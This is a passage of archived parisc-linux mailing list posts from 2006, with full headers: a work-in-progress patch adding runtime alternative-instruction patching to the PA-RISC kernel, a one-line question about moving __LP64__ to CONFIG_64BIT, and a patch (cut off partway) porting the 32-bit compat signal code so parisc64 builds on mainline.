bit more elegant, patching opcodes at runtime...

x86{,-64} has a nice little interface for this that I thought I'd
hijack...

Anyway, it seems to work ok, the bits and pieces appear to be
properly stored in the altinstructions section, but the actual runtime
patching fails in a bogus way.

I don't have time to debug this right now, but if someone else wants
to trace my faulty logic, that would be awesome. Please don't commit it
yet, as I still haven't decided how I want to export the `API' for
deciding whether to patch or not.

Cheers,
	Kyle

Index: arch/parisc/kernel/setup.c
===================================================================
RCS file: /var/cvs/linux-2.6/arch/parisc/kernel/setup.c,v
retrieving revision 1.14
diff -u -d -p -r1.14 setup.c
--- arch/parisc/kernel/setup.c	17 Dec 2005 17:54:41 -0000	1.14
+++ arch/parisc/kernel/setup.c	15 Jan 2006 00:56:55 -0000
@@ -38,6 +38,7 @@
 #undef PCI_DEBUG
 #include <linux/proc_fs.h>
 
+#include <asm/system.h>
 #include <asm/processor.h>
 #include <asm/pdc.h>
 #include <asm/led.h>
@@ -116,6 +117,59 @@ void __init dma_ops_init(void)
 }
 #endif
 
+static int parisc_patch_opcode(unsigned long flag, unsigned long reason)
+{
+	switch(reason) {
+	case ALT_PDC_CAPABILITY:
+		if (boot_cpu_data.pdc.capabilities & flag)
+			return 1;
+		break;
+	default:
+		printk(KERN_INFO "Unknown reason.\n");
+		break;
+	}
+
+	return 0;
+}
+
+void apply_alternatives(void *start, void *end)
+{
+	struct alt_instr *a;
+
+	for (a = start; (void*)a < end; a++) {
+		printk(KERN_INFO "Patching code @ 0x%p\n", a);
+		printk(KERN_INFO "a->instr = 0x%p\n", (a->instr));
+		printk(KERN_INFO "a->replacement = 0x%p\n", (a->replacement));
+		printk(KERN_INFO "a->flag = 0x%x\n", a->flag);
+		printk(KERN_INFO "a->reason = 0x%x\n", a->reason);
+
+		if (!parisc_patch_opcode(a->flag, a->reason))
+			continue;
+
+		printk(KERN_INFO "Applying patch to 0x%p\n", a->instr);
+
+		/* parisc has fixed width insns */
+		memcpy(a->instr, a->replacement, 4);
+		/* this probably executed before we need to flush */
+	}
+}
+
+static int no_replacement __initdata = 0;
+
+void __init alternative_instructions(void)
+{
+	extern struct alt_instr __alt_instructions[], __alt_instructions_end[];
+
+	if (no_replacement)
+		return;
+
+	printk(KERN_INFO "alt_instructions section start = 0x%p\n"
+	       KERN_INFO "alt_instructions section end = 0x%p\n",
+		__alt_instructions, __alt_instructions_end);
+
+	apply_alternatives(__alt_instructions, __alt_instructions_end);
+}
+
 extern int init_per_cpu(int cpuid);
 extern void collect_boot_cpu_data(void);
 
@@ -318,6 +372,8 @@ static int __init parisc_init(void)
 			boot_cpu_data.cpu_name,
 			boot_cpu_data.cpu_hz / 1000000,
 			boot_cpu_data.cpu_hz % 1000000	);
+
+	alternative_instructions();
 
 	parisc_setup_cache_timing();
 
Index: drivers/parisc/sba_iommu.c
===================================================================
RCS file: /var/cvs/linux-2.6/drivers/parisc/sba_iommu.c,v
retrieving revision 1.42
diff -u -d -p -r1.42 sba_iommu.c
--- drivers/parisc/sba_iommu.c	12 Nov 2005 04:08:02 -0000	1.42
+++ drivers/parisc/sba_iommu.c	15 Jan 2006 00:57:00 -0000
@@ -37,6 +37,7 @@
 #include <asm/hardware.h>	/* for register_parisc_driver() stuff */
 
 #include <linux/proc_fs.h>
+#include <asm/system.h>		/* for alternate() */
 #include <asm/runway.h>		/* for proc_runway_root */
 #include <asm/pdc.h>		/* for PDC_MODEL_* */
 #include <asm/pdcpat.h>		/* for is_pdc_pat() */
@@ -283,8 +284,6 @@ struct sba_device {
 
 static struct sba_device *sba_list;
 
-static unsigned long ioc_needs_fdc = 0;
-
 /* global count of IOMMUs in the system */
 static unsigned int global_ioc_cnt = 0;
 
@@ -743,8 +742,8 @@ sba_io_pdir_entry(u64 *pdir_ptr, space_t
 	 * (bit #61, big endian), we have to flush and sync every time
 	 * IO-PDIR is changed in Ike/Astro.
 	 */
-	if (ioc_needs_fdc)
-		asm volatile("fdc %%r0(%0)" : : "r" (pdir_ptr));
+	pdc_capability_altinput("nop", "fdc %%r0(%2)", PDC_MODEL_IOPDIR_FDC, 
+				"r"(pdir_ptr) : "memory");
 }
 
 
@@ -784,25 +783,13 @@ sba_mark_invalid(struct ioc *ioc, dma_ad
 
 	if (byte_cnt > IOVP_SIZE)
 	{
-#if 0
-		unsigned long entries_per_cacheline = ioc_needs_fdc ?
-				L1_CACHE_ALIGN(((unsigned long) pdir_ptr))
-					- (unsigned long) pdir_ptr;
-				: 262144;
-#endif
-
 		/* set "size" field for PCOM */
 		iovp |= get_order(byte_cnt) + PAGE_SHIFT;
 
 		do {
 			/* clear I/O Pdir entry "valid" bit first */
 			((u8 *) pdir_ptr)[7] = 0;
-			if (ioc_needs_fdc) {
-				asm volatile("fdc %%r0(%0)" : : "r" (pdir_ptr));
-#if 0
-				entries_per_cacheline = L1_CACHE_SHIFT - 3;
-#endif
-			}
+			pdc_capability_altinput("nop", "fdc %%r0(%2)", PDC_MODEL_IOPDIR_FDC, "r"(pdir_ptr) : "memory");
 			pdir_ptr++;
 			byte_cnt -= IOVP_SIZE;
 		} while (byte_cnt > IOVP_SIZE);
@@ -817,8 +804,8 @@ sba_mark_invalid(struct ioc *ioc, dma_ad
 	** could dump core on HPMC.
 	*/
 	((u8 *) pdir_ptr)[7] = 0;
-	if (ioc_needs_fdc)
-		asm volatile("fdc %%r0(%0)" : : "r" (pdir_ptr));
+        pdc_capability_altinput("nop", "fdc %%r0(%2)", 
+				PDC_MODEL_IOPDIR_FDC, "r"(pdir_ptr) : "memory");
 
 	WRITE_REG( SBA_IOVA(ioc, iovp, 0, 0), ioc->ioc_hpa+IOC_PCOM);
 }
@@ -925,8 +912,7 @@ sba_map_single(struct device *dev, void 
 	}
 
 	/* force FDC ops in io_pdir_entry() to be visible to IOMMU */
-	if (ioc_needs_fdc)
-		asm volatile("sync" : : );
+        pdc_capability_alt("nop", "sync", PDC_MODEL_IOPDIR_FDC);
 
 #ifdef ASSERT_PDIR_SANITY
 	sba_check_pdir(ioc,"Check after sba_map_single()");
@@ -996,8 +982,7 @@ sba_unmap_single(struct device *dev, dma
 	sba_free_range(ioc, iova, size);
 
 	/* If fdc's were issued, force fdc's to be visible now */
-	if (ioc_needs_fdc)
-		asm volatile("sync" : : );
+	pdc_capability_alt("nop", "sync", PDC_MODEL_IOPDIR_FDC);
 
 	READ_REG(ioc->ioc_hpa+IOC_PCOM);	/* flush purges */
 #endif /* DELAYED_RESOURCE_CNT == 0 */
@@ -1145,8 +1130,8 @@ sba_map_sg(struct device *dev, struct sc
 	filled = iommu_fill_pdir(ioc, sglist, nents, 0, sba_io_pdir_entry);
 
 	/* force FDC ops in io_pdir_entry() to be visible to IOMMU */
-	if (ioc_needs_fdc)
-		asm volatile("sync" : : );
+        pdc_capability_alt("nop", "sync", PDC_MODEL_IOPDIR_FDC);
+
 
 #ifdef ASSERT_PDIR_SANITY
 	if (sba_check_pdir(ioc,"Check after sba_map_sg()"))
@@ -1875,7 +1860,6 @@ sba_common_init(struct sba_device *sba_d
 	}
 
 	spin_lock_init(&sba_dev->sba_lock);
-	ioc_needs_fdc = boot_cpu_data.pdc.capabilities & PDC_MODEL_IOPDIR_FDC;
 
 #ifdef DEBUG_SBA_INIT
 	/*
Index: include/asm-parisc/system.h
===================================================================
RCS file: /var/cvs/linux-2.6/include/asm-parisc/system.h,v
retrieving revision 1.13
diff -u -d -p -r1.13 system.h
--- include/asm-parisc/system.h	14 Sep 2005 12:57:40 -0000	1.13
+++ include/asm-parisc/system.h	15 Jan 2006 00:57:04 -0000
@@ -2,6 +2,7 @@
 #define __PARISC_SYSTEM_H
 
 #include <linux/config.h>
+#include <linux/types.h>
 #include <asm/psw.h>
 
 /* The program status word as bitfields.  */
@@ -137,6 +138,55 @@ static inline void set_eiem(unsigned lon
 #define set_mb(var, value)		do { var = value; mb(); } while (0)
 #define set_wmb(var, value)		do { var = value; wmb(); } while (0)
 
+/* Runtime overwritten alternate instructions */
+struct alt_instr {
+	u32 *instr;		/* original */
+	u32 *replacement;
+	unsigned long flag;
+	unsigned long reason;	/* pad to 4*sizeof(unsigned long) */
+};
+
+#ifdef __LP64__
+#define ALT_INSTR_ALIGN	"32"
+#else
+#define ALT_INSTR_ALIGN "16"
+#endif /* __LP64__ */
+
+/* values for alt_instr.reason */
+#define ALT_PDC_CAPABILITY	1
+
+#define alternative(oldinstr, newinstr, flag, reason)		\
+	asm volatile ("661:\n\t" oldinstr "\n662:\n"		\
+		      ".section .altinstructions,\"a\"\n"	\
+		      "  .align " ALT_INSTR_ALIGN "\n"		\
+		      "  .long 661b\n"				\
+		      "  .long 663f\n"				\
+		      "  .long %c0\n"				\
+		      "  .long %c1\n"				\
+		      ".previous\n"				\
+		      ".section .altinstr_replacement,\"ax\"\n"	\
+		      "663:\n\t" newinstr "\n664:\n"		\
+		      ".previous" :: "i"(flag), "i"(reason)	\
+		        : "memory")
+
+#define alternative_input(oldinstr, newinstr, flag, reason, input...)	\
+        asm volatile ("661:\n\t" oldinstr "\n662:\n"			\
+                      ".section .altinstructions,\"a\"\n"		\
+                      "  .align " ALT_INSTR_ALIGN "\n"			\
+                      "  .long 661b\n"					\
+                      "  .long 663f\n"					\
+                      "  .long %c0\n"					\
+		      "  .long %c1\n"					\
+                      ".previous\n"					\
+                      ".section .altinstr_replacement,\"ax\"\n"		\
+                      "663:\n\t" newinstr "\n664:\n"			\
+                      ".previous" :: "i" (flag), "i" (reason), 		\
+		        ## input)
+
+#define pdc_capability_alt(old, new, flag) 			\
+		alternative(old, new, flag, ALT_PDC_CAPABILITY)
+#define pdc_capability_altinput(old, new, flag, input...) 	\
+		alternative_input(old, new, flag, ALT_PDC_CAPABILITY, input)
 
 #ifndef CONFIG_PA20
 /* Because kmalloc only guarantees 8-byte alignment for kmalloc'd data,
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:19 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] __LP64__ / CONFIG_64BIT?
Date: Sun, 15 Jan 2006 19:18:16 +0000
Lines: 12
Approved: news@gmane.org
Message-ID: <43CA9FF8.5070405@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623991 17923 80.91.229.3 (22 Nov 2014 02:39:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:39:51 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:28 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 15 Jan 2006 19:18:36 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx014) with SMTP; 15 Jan 2006 20:18:36 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 51DA37D678;
	Sun, 15 Jan 2006 12:18:32 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 23029-07; Sun, 15 Jan 2006 12:18:32 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 97E557D679;
	Sun, 15 Jan 2006 12:18:31 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id DF8057D65E
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 15 Jan 2006 12:18:26 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 22903-08 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 15 Jan 2006 12:18:26 -0700 (MST)
Original-Received: from oola.is.scarlet.be (oola.is.scarlet.be [193.74.71.23])
	by free.linux.hp.com (Postfix) with ESMTP id DABB47D658
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 15 Jan 2006 12:18:25 -0700 (MST)
Original-Received: from (ip-62-235-237-133.dial.scarlet.be [62.235.237.133]) 
	by oola.is.scarlet.be  with ESMTP id k0FJIMJ09853; 
	Sun, 15 Jan 2006 20:18:22 +0100
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US;
	rv:1.7.12) Gecko/20051007 Debian/1.7.12-1
X-Accept-Language: en
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: WsW4Y+Q0eSEkfL6WZHQhaXN1IGRvb8CA
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23373

Hello *,

Could we move all #ifdef __LP64__ to CONFIG_64BIT?

TIA,
	Joel
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:19 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Make parisc64 work on Linus
Date: Sun, 15 Jan 2006 14:18:47 -0500
Lines: 581
Approved: news@gmane.org
Message-ID: <20060115191847.GE21721@quicksilver.road.mcmartin.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623991 17925 80.91.229.3 (22 Nov 2014 02:39:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:39:51 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:28 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 15 Jan 2006 19:20:09 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx085) with SMTP; 15 Jan 2006 20:20:09 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id DE3B97D684;
	Sun, 15 Jan 2006 12:19:53 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 23168-08; Sun, 15 Jan 2006 12:19:53 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D20EA7D685;
	Sun, 15 Jan 2006 12:19:52 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id ADC5C7D678
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 15 Jan 2006 12:19:49 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 23283-01 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 15 Jan 2006 12:19:49 -0700 (MST)
Original-Received: from fattire.cabal.ca (cabal.ca [134.117.69.58])
	by free.linux.hp.com (Postfix) with ESMTP id A07887D65E
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 15 Jan 2006 12:19:48 -0700 (MST)
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by fattire.cabal.ca (Postfix) with ESMTP id C126A23E83
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 15 Jan 2006 14:19:45 -0500 (EST)
Original-Received: from fattire.cabal.ca ([127.0.0.1])
	by localhost (fattire [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 05803-05 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 15 Jan 2006 14:19:45 -0500 (EST)
Original-Received: from quicksilver.road.mcmartin.ca
	(CPE0004ace53177-CM0012c9a9a56e.cpe.net.cable.rogers.com
	[70.25.68.204])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client CN "quicksilver.road.mcmartin.ca",
	Issuer "There Is No Cabal Certificate Authority" (verified OK))
	by fattire.cabal.ca (Postfix) with ESMTP id D575A23E82
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 15 Jan 2006 14:19:44 -0500 (EST)
Original-Received: by quicksilver.road.mcmartin.ca (Postfix, from userid 1000)
	id 35EFB3B05E; Sun, 15 Jan 2006 14:18:48 -0500 (EST)
Content-Disposition: inline
User-Agent: Mutt/1.5.11
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at cabal.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: PcW4YxADeSEkJ76WZHQhaXN1IGRvb8CF
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23374

Hi all, 

I spent the early afternoon kludging this into place... I wanted to
get parisc64 compiling without the compat patchset. Here's the work
in progress against current Linus head. Can someone check this over
to make sure I didn't do anything obviously stupid?

(Note, includes atomic64 and the missing fix from mm/init.c, since I 
needed it to compile.)

Compile and boot tested on 64-bit, but that's about it.

diff --git a/arch/parisc/kernel/ptrace.c b/arch/parisc/kernel/ptrace.c
index 27160e8..413292f 100644
--- a/arch/parisc/kernel/ptrace.c
+++ b/arch/parisc/kernel/ptrace.c
@@ -91,7 +91,7 @@ long arch_ptrace(struct task_struct *chi
 		int copied;
 
 #ifdef __LP64__
-		if (is_compat_task(child)) {
+		if (personality(child->personality) == PER_LINUX32) {
 			unsigned int tmp;
 
 			addr &= 0xffffffffL;
@@ -123,7 +123,7 @@ long arch_ptrace(struct task_struct *chi
 	case PTRACE_POKEDATA:
 		ret = 0;
 #ifdef __LP64__
-		if (is_compat_task(child)) {
+		if (personality(child->personality) == PER_LINUX32) {
 			unsigned int tmp = (unsigned int)data;
 			DBG("sys_ptrace(POKE%s, %d, %lx, %lx)\n",
 				request == PTRACE_POKETEXT ? "TEXT" : "DATA",
@@ -146,7 +146,7 @@ long arch_ptrace(struct task_struct *chi
 	case PTRACE_PEEKUSR: {
 		ret = -EIO;
 #ifdef __LP64__
-		if (is_compat_task(child)) {
+		if (personality(child->personality) == PER_LINUX32) {
 			unsigned int tmp;
 
 			if (addr & (sizeof(int)-1))
@@ -205,7 +205,7 @@ long arch_ptrace(struct task_struct *chi
 			goto out_tsk;
 		}
 #ifdef __LP64__
-		if (is_compat_task(child)) {
+		if (personality(child->personality) == PER_LINUX32) {
 			if (addr & (sizeof(int)-1))
 				goto out_tsk;
 			if ((addr = translate_usr_offset(addr)) < 0)
diff --git a/arch/parisc/kernel/signal.c b/arch/parisc/kernel/signal.c
index 3a25a7b..05767e8 100644
--- a/arch/parisc/kernel/signal.c
+++ b/arch/parisc/kernel/signal.c
@@ -317,7 +317,7 @@ setup_rt_frame(int sig, struct k_sigacti
 	
 	if(personality(current->personality) == PER_LINUX32) {
 		DBG(1,"setup_rt_frame: frame->info = 0x%p\n", &compat_frame->info);
-		err |= compat_copy_siginfo_to_user(&compat_frame->info, info);
+		err |= copy_siginfo_to_user32(&compat_frame->info, info);
 		DBG(1,"SETUP_RT_FRAME: 1\n");
 		compat_val = (compat_int_t)current->sas_ss_sp;
 		err |= __put_user(compat_val, &compat_frame->uc.uc_stack.ss_sp);
diff --git a/arch/parisc/kernel/signal32.c b/arch/parisc/kernel/signal32.c
index 0792e20..75a803f 100644
--- a/arch/parisc/kernel/signal32.c
+++ b/arch/parisc/kernel/signal32.c
@@ -31,7 +31,6 @@
 #include <linux/types.h>
 #include <linux/errno.h>
 
-#include <asm/compat_signal.h>
 #include <asm/uaccess.h>
 
 #include "signal32.h"
@@ -50,6 +49,107 @@
 
 #define _BLOCKABLE (~(sigmask(SIGKILL) | sigmask(SIGSTOP)))
 
+int
+copy_siginfo_from_user32 (siginfo_t *to, compat_siginfo_t __user *from)
+{
+        unsigned long tmp;
+        int err;
+
+        if (!access_ok(VERIFY_READ, from, sizeof(compat_siginfo_t)))
+                return -EFAULT;
+
+        err = __get_user(to->si_signo, &from->si_signo);
+        err |= __get_user(to->si_errno, &from->si_errno);
+        err |= __get_user(to->si_code, &from->si_code);
+
+        if (to->si_code < 0)
+                err |= __copy_from_user(&to->_sifields._pad, &from->_sifields._pad, SI_PAD_SIZE);
+        else {
+                switch (to->si_code >> 16) {
+                      case __SI_CHLD >> 16:
+                        err |= __get_user(to->si_utime, &from->si_utime);
+                        err |= __get_user(to->si_stime, &from->si_stime);
+                        err |= __get_user(to->si_status, &from->si_status);
+                      default:
+                        err |= __get_user(to->si_pid, &from->si_pid);
+                        err |= __get_user(to->si_uid, &from->si_uid);
+                        break;
+                      case __SI_FAULT >> 16:
+                        err |= __get_user(tmp, &from->si_addr);
+                        to->si_addr = (void __user *) tmp;
+                        break;
+                      case __SI_POLL >> 16:
+                        err |= __get_user(to->si_band, &from->si_band);
+                        err |= __get_user(to->si_fd, &from->si_fd);
+                        break;
+                      case __SI_RT >> 16: /* This is not generated by the kernel  as of now.  */
+                      case __SI_MESGQ >> 16:
+                        err |= __get_user(to->si_pid, &from->si_pid);
+                        err |= __get_user(to->si_uid, &from->si_uid);
+                        err |= __get_user(to->si_int, &from->si_int);
+                        break;
+                }
+        }
+        return err;
+}
+
+int
+copy_siginfo_to_user32 (compat_siginfo_t __user *to, siginfo_t *from)
+{
+        unsigned int addr;
+        int err;
+
+        if (!access_ok(VERIFY_WRITE, to, sizeof(compat_siginfo_t)))
+                return -EFAULT;
+
+        /* If you change siginfo_t structure, please be sure
+           this code is fixed accordingly.
+           It should never copy any pad contained in the structure
+           to avoid security leaks, but must copy the generic
+           3 ints plus the relevant union member.
+           This routine must convert siginfo from 64bit to 32bit as well
+           at the same time.  */
+        err = __put_user(from->si_signo, &to->si_signo);
+        err |= __put_user(from->si_errno, &to->si_errno);
+        err |= __put_user((short)from->si_code, &to->si_code);
+        if (from->si_code < 0)
+                err |= __copy_to_user(&to->_sifields._pad, &from->_sifields._pad, SI_PAD_SIZE);
+        else {
+                switch (from->si_code >> 16) {
+                case __SI_CHLD >> 16:
+                        err |= __put_user(from->si_utime, &to->si_utime);
+                        err |= __put_user(from->si_stime, &to->si_stime);
+                        err |= __put_user(from->si_status, &to->si_status);
+                default:
+                        err |= __put_user(from->si_pid, &to->si_pid);
+                        err |= __put_user(from->si_uid, &to->si_uid);
+                        break;
+                case __SI_FAULT >> 16:
+                        /* avoid type-checking warnings by copying _pad[0] in lieu of si_addr... */
+                        err |= __put_user(from->_sifields._pad[0], &to->si_addr);
+                        break;
+                case __SI_POLL >> 16:
+                        err |= __put_user(from->si_band, &to->si_band);
+                        err |= __put_user(from->si_fd, &to->si_fd);
+                        break;
+                case __SI_TIMER >> 16:
+                        err |= __put_user(from->si_tid, &to->si_tid);
+                        err |= __put_user(from->si_overrun, &to->si_overrun);
+                        addr = (unsigned long) from->si_ptr;
+                        err |= __put_user(addr, &to->si_ptr);
+                        break;
+                case __SI_RT >> 16:     /* Not generated by the kernel as of now. */
+                case __SI_MESGQ >> 16:
+                        err |= __put_user(from->si_uid, &to->si_uid);
+                        err |= __put_user(from->si_pid, &to->si_pid);
+                        addr = (unsigned long) from->si_ptr;
+                        err |= __put_user(addr, &to->si_ptr);
+                        break;
+                }
+        }
+        return err;
+}
+
 inline void
 sigset_32to64(sigset_t *s64, compat_sigset_t *s32)
 {
@@ -398,3 +498,4 @@ setup_sigcontext32(struct compat_sigcont
 
 	return err;
 }
+
diff --git a/arch/parisc/kernel/signal32.h b/arch/parisc/kernel/signal32.h
index 4d1569e..e39b38a 100644
--- a/arch/parisc/kernel/signal32.h
+++ b/arch/parisc/kernel/signal32.h
@@ -20,8 +20,34 @@
 #define _PARISC64_KERNEL_SIGNAL32_H
 
 #include <linux/compat.h>
-#include <asm/compat_signal.h>
-#include <asm/compat_rt_sigframe.h>
+
+typedef compat_uptr_t compat_sighandler_t;
+
+typedef struct compat_sigaltstack {
+        compat_uptr_t ss_sp;
+        compat_int_t ss_flags;
+        compat_size_t ss_size;
+} compat_stack_t;
+
+/* Most things should be clean enough to redefine this at will, if care
+   is taken to make libc match.  */
+
+struct compat_sigaction {
+        compat_sighandler_t sa_handler;
+        compat_uint_t sa_flags;
+        compat_sigset_t sa_mask;               /* mask last for extensibility */
+};
+
+/* 32-bit ucontext as seen from an 64-bit kernel */
+struct compat_ucontext {
+        compat_uint_t uc_flags;
+        compat_uptr_t uc_link;
+        compat_stack_t uc_stack;        /* struct compat_sigaltstack (12 bytes)*/
+        /* FIXME: Pad out to get uc_mcontext to start at an 8-byte aligned boundary */
+        compat_uint_t pad[1];
+        struct compat_sigcontext uc_mcontext;
+        compat_sigset_t uc_sigmask;     /* mask last for extensibility */
+};
 
 /* ELF32 signal handling */
 
@@ -29,6 +55,103 @@ struct k_sigaction32 {
 	struct compat_sigaction sa;
 };
 
+typedef struct compat_siginfo {
+        int si_signo;
+        int si_errno;
+        int si_code;
+
+        union {
+                int _pad[((128/sizeof(int)) - 3)];
+
+                /* kill() */
+                struct {
+                        unsigned int _pid;      /* sender's pid */
+                        unsigned int _uid;      /* sender's uid */
+                } _kill;
+
+                /* POSIX.1b timers */
+                struct {
+                        compat_timer_t _tid;            /* timer id */
+                        int _overrun;           /* overrun count */
+                        char _pad[sizeof(unsigned int) - sizeof(int)];
+                        compat_sigval_t _sigval;        /* same as below */
+                        int _sys_private;       /* not to be passed to user */
+                } _timer;
+
+                /* POSIX.1b signals */
+                struct {
+                        unsigned int _pid;      /* sender's pid */
+                        unsigned int _uid;      /* sender's uid */
+                        compat_sigval_t _sigval;
+                } _rt;
+
+                /* SIGCHLD */
+                struct {
+                        unsigned int _pid;      /* which child */
+                        unsigned int _uid;      /* sender's uid */
+                        int _status;            /* exit code */
+                        compat_clock_t _utime;
+                        compat_clock_t _stime;
+                } _sigchld;
+
+                /* SIGILL, SIGFPE, SIGSEGV, SIGBUS */
+                struct {
+                        unsigned int _addr;     /* faulting insn/memory ref. */
+                } _sigfault;
+
+                /* SIGPOLL */
+                struct {
+                        int _band;      /* POLL_IN, POLL_OUT, POLL_MSG */
+                        int _fd;
+                } _sigpoll;
+        } _sifields;
+} compat_siginfo_t;
+
+int copy_siginfo_to_user32 (compat_siginfo_t __user *to, siginfo_t *from);
+int copy_siginfo_from_user32 (siginfo_t *to, compat_siginfo_t __user *from);
+
+/* In a deft move of uber-hackery, we decide to carry the top half of all
+ * 64-bit registers in a non-portable, non-ABI, hidden structure.
